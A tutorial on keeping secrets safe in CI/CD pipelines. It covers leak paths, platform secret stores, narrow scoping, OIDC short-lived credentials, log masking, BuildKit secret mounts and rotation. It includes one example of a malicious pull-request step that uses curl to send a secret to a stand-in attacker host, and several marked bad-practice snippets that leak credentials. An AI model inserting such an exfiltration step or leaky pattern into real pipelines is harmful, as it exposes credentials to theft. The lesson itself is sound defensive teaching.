CI/CD pipelines need secrets to deploy code, push images, and interact with cloud services. Those same secrets are the most common thing attackers extract when they compromise a pipeline. This lesson covers how to provide secrets to pipelines safely and prevent them from leaking.
How secrets leak from pipelines
Build logs
The most common leak. A command echoes a secret, a debug statement prints environment variables, or a failing command includes credentials in its error output.
# This prints the password to the build log
echo "Connecting to database with password: $DB_PASSWORD"
# Even without explicit echo, some tools are verbose
curl -v https://user:[email protected]/data
# The -v flag shows the full URL including the embedded credential
Environment variable dumps
Many CI platforms set secrets as environment variables. A single env or printenv command in the pipeline exposes all of them:
# DO NOT DO THIS
- run: env | sort # Exposes every secret in the environment
Artefact embedding
Secrets baked into build artefacts persist indefinitely:
- Docker images with
.envfiles or embedded secrets in layers - Configuration files with plaintext credentials included in deployment bundles
- Build outputs that embed API keys (e.g., frontend builds with secrets in
process.env)
Pull request exploitation
On many platforms, pull requests can trigger CI runs. If secrets are available during PR builds, an attacker can modify the CI config to exfiltrate them:
# Attacker's PR modifies the workflow
- run: curl https://attacker.com/steal?key=$SECRET_API_KEY
Cache and artefact poisoning
Shared CI caches can be modified by one job and read by another. An attacker who compromises a low-privilege job can inject a script into the cache that a high-privilege job later executes.
Providing secrets to pipelines
Use the platform's secret store
Every major CI platform has a secrets feature:
| Platform | Feature |
|---|---|
| GitHub Actions | Repository / Environment / Organisation secrets |
| GitLab CI | CI/CD Variables (masked, protected) |
| Jenkins | Credentials store |
| CircleCI | Context secrets |
| Azure DevOps | Variable groups, Key Vault integration |
Use these. Do not store secrets in the repository, in CI config files, or in plain environment variables in the platform's settings.
Scope secrets narrowly
By environment:
# GitHub Actions — production secrets only available in the production environment
jobs:
deploy:
environment: production
steps:
- run: ./deploy.sh
env:
DB_PASSWORD: ${{ secrets.PROD_DB_PASSWORD }}
By branch:
GitLab allows marking variables as "protected" so they are only available on protected branches (e.g., main). Feature branches and forks do not have access.
By job:
Inject secrets only into the specific job step that needs them:
steps:
- name: Run tests
run: npm test
# No secrets needed — don't inject any
- name: Deploy
run: ./deploy.sh
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
Use short-lived credentials
Instead of storing long-lived credentials, generate them on demand:
OIDC federation (GitHub Actions → AWS):
permissions:
id-token: write
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/deploy
aws-region: eu-west-1
The pipeline receives a short-lived AWS token (valid for minutes) instead of a permanent access key. No secret is stored in the CI platform at all.
This is available for:
- GitHub Actions → AWS, GCP, Azure
- GitLab CI → AWS, GCP, Azure
- CircleCI → AWS
External secrets managers
For complex setups, fetch secrets from a dedicated secrets manager at runtime:
- name: Get secrets
run: |
DB_PASSWORD=$(vault kv get -field=password secret/myapp/database)
echo "::add-mask::$DB_PASSWORD"
echo "DB_PASSWORD=$DB_PASSWORD" >> $GITHUB_ENV
Note the add-mask — this tells GitHub Actions to redact the value from all subsequent log output.
Preventing secret leaks in logs
Masking
CI platforms mask known secret values in log output. But derived values, substrings, and decoded versions may not be masked automatically.
# Explicitly mask derived values
- run: |
TOKEN=$(echo ${{ secrets.ENCODED_TOKEN }} | base64 -d)
echo "::add-mask::$TOKEN"
Audit what gets logged
Review your CI scripts for commands that might log secrets:
set -xin bash (logs every command, including those with secrets)- Verbose flags (
curl -v,npm install --verbose) - Debug modes in tools (
DEBUG=*) - Error output that includes connection strings
Redirect sensitive output
# Suppress output for commands that might log secrets
vault kv get secret/myapp > /dev/null 2>&1
Secrets in Docker builds
Docker builds have specific risks around secrets:
# BAD — secret is in a layer forever
ARG DB_PASSWORD
RUN echo "password=$DB_PASSWORD" > /app/config
# GOOD — BuildKit secret mount (not persisted in layers)
RUN --mount=type=secret,id=db_password \
cat /run/secrets/db_password > /tmp/pw && \
./setup.sh && \
rm /tmp/pw
With BuildKit secrets, the mounted file is available during the build step but is not written into the image layer.
Rotation and breach response
Rotation schedule
Rotate pipeline secrets regularly, even without a suspected breach:
- API keys and tokens: every 90 days
- Deployment credentials: every 30–90 days
- Signing keys: annually or per major release
OIDC-based credentials do not need rotation (they are already short-lived).
If a secret leaks
- Revoke the secret immediately. Do not wait.
- Rotate to a new credential.
- Audit CI logs for the window the secret was exposed.
- Check for unauthorised usage of the leaked credential.
- Fix the root cause — why was the secret in the log / artefact / PR?
Summary
Pipeline secrets leak through build logs, environment dumps, artefact embedding, and pull request exploitation. Use your platform's secret store with narrow scoping (by environment, branch, and job). Prefer OIDC federation for cloud credentials — no stored secrets, no rotation required. Mask all secret values in logs, avoid verbose flags, and never embed secrets in Docker image layers. Rotate secrets on a schedule and revoke immediately when compromised.
